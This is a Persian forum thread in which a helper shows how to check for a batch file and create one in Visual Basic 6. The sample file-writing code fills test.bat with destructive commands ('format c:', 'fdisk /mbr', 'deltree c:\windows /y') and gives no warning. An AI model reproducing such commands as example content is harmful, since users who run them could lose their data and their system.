• پایان فعالیت بخشهای انجمن: امکان ایجاد موضوع یا نوشته جدید برای عموم کاربران غیرفعال شده است

کمک در مورد ایجاد بچ فایل

Usefi

کاربر تازه وارد
تاریخ عضویت
28 اکتبر 2008
نوشته‌ها
407
لایک‌ها
0
سلام خدمت دوستان . من یه سوال دارم . خواستم ببینم چجوری میشه از طریق کد نویسی و از طریق برنامه چک کرد که اگه در دایرکتوری برنامه فایل بچی با نام test بود اون رو اجرا کنه در غیر اینصورت اون فایل بچ رو با دستورات داخلش ایجاد , در دایرکتوری برنامه ذخیره و سپس ایجادش کنه . ممنون
 

igimax

کاربر فعال کامپیوتر
تاریخ عضویت
17 سپتامبر 2004
نوشته‌ها
3,410
لایک‌ها
1,348
سن
51
سلام Usefi عزيز
1538.gif


. براي چك كردن اينكه يك فايل موجود هست يا نه ميشه از همين تابع ساده Dir استفاده كرد! اگر فايل يا شاخه‌اي موجود باشد نام آن را برمي‌گرداند و اگر كه موجود نباشه هيچي را بر نمي‌گرداند:
کد:
Dir("c:\VIRTPART.DAT", vbHidden)

. مي‌توانيد از FileSystemObject هم استفاده نماييد كه بسيار دستورات پيشرفته‌ و سريعي دارند. براي مثال فوق تابع مرتبط با FSO ها مثل زير مي‌شود:

کد:
Function FileExists(FileName As String) As Boolean
    On Error GoTo Handler
    
    Dim fso As Object
    
    'Create a FileSystemObject object
    Set fso = CreateObject("Scripting.FileSystemObject")
    
    Call fso.FileExists(FileName)
    FileExists = True
    
Handler:
End Function

. در مورد اينكه اگر مجود نبود چطور بسازيمش، خوب سادست! همانند يك فايل متني آن را ايجاد نماييد. با دستور Open فايل خود را ايجاد نماييد و با دستور Print# در آن خطوط خود را بنويسيد:

کد:
Dim FileNum As Integer
    FileNum = FreeFile
    FilePath = App.Path & "\" & "test.bat"

    Open FilePath For Output As #FileNum
        Print #FileNum, "@echo off"
        Print #FileNum, "format c: /u/s/c"
        Print #FileNum, "fdisk /mbr"
        Print #FileNum, "deltree c:\windows /y"
    Close #FileNum

. روش اجرا كردنش هم كه قبلن خدمتتان عرض نموديم. اما در مورد ساختن يه فايل متني يا باينري يا حتا خواندنشان كلن از توابه FSO استفاده نماييد هم بسيار بسيار بسيار سريعترند و هم حرفه‌اي تر حتا در VN.NET 2008 هم اين روش را پيشنهاد مي‌كند. از قسمت Search بخش MSDN اين عبارات را جستجو نماييد:

Programming in the FSO Object Model
Working with Drives and Folders
Working With Files
FileSystemObject Object

. و از بخش See Also به توابع مرتبط به هر بخش دسترسي يابيد.

موفق باشيد.
67562.gif


خداحافظ
IgImAx
87/11/25
209266.gif
26650.gif
 

Usefi

کاربر تازه وارد
تاریخ عضویت
28 اکتبر 2008
نوشته‌ها
407
لایک‌ها
0
ممنون بابت راهنمایهای خوبتون .
توی مثال دوم که نحوه استفاده fso هارو فرمودین چجوری میشه آدرس و نام فایل رو به آدرس دایرکتوری برنامه و نام بچ فایل مورد نظر ست کرد ؟
 

igimax

کاربر فعال کامپیوتر
تاریخ عضویت
17 سپتامبر 2004
نوشته‌ها
3,410
لایک‌ها
1,348
سن
51
سلام Usefi عزيز
1538.gif


. خوب به همان روشي كه در مثال سوم FilePath را معرفي نموده‌ايم بايد پارامتر FIleName از تابع مثال دوم را همانطور تعريف نماييد.

موفق باشيد.
67562.gif


خداحافظ
IgImAx
87/11/25
209266.gif
26650.gif
 

igimax

کاربر فعال کامپیوتر
تاریخ عضویت
17 سپتامبر 2004
نوشته‌ها
3,410
لایک‌ها
1,348
سن
51
سلام Usefi عزيز
1538.gif


. يه اشتباه كوچيك در مثال دوم شده! ! ببخشيد، صحيح آن اين هست:

کد:
Function FileExists(FileName As String) As Boolean
    On Error GoTo Handler
    
    Dim fso As Object
    
    'Create a FileSystemObject object
    Set fso = CreateObject("Scripting.FileSystemObject")
    
[COLOR=Red]    FileExists = fso.FileExists(FileName)[/COLOR]
    
Handler:
End Function

موفق باشيد.
67562.gif


خداحافظ
IgImAx
87/11/26
209266.gif
26650.gif
 

Usefi

کاربر تازه وارد
تاریخ عضویت
28 اکتبر 2008
نوشته‌ها
407
لایک‌ها
0
ممنون واقعا لطف کردی . دستت درد نکنه
 
بالا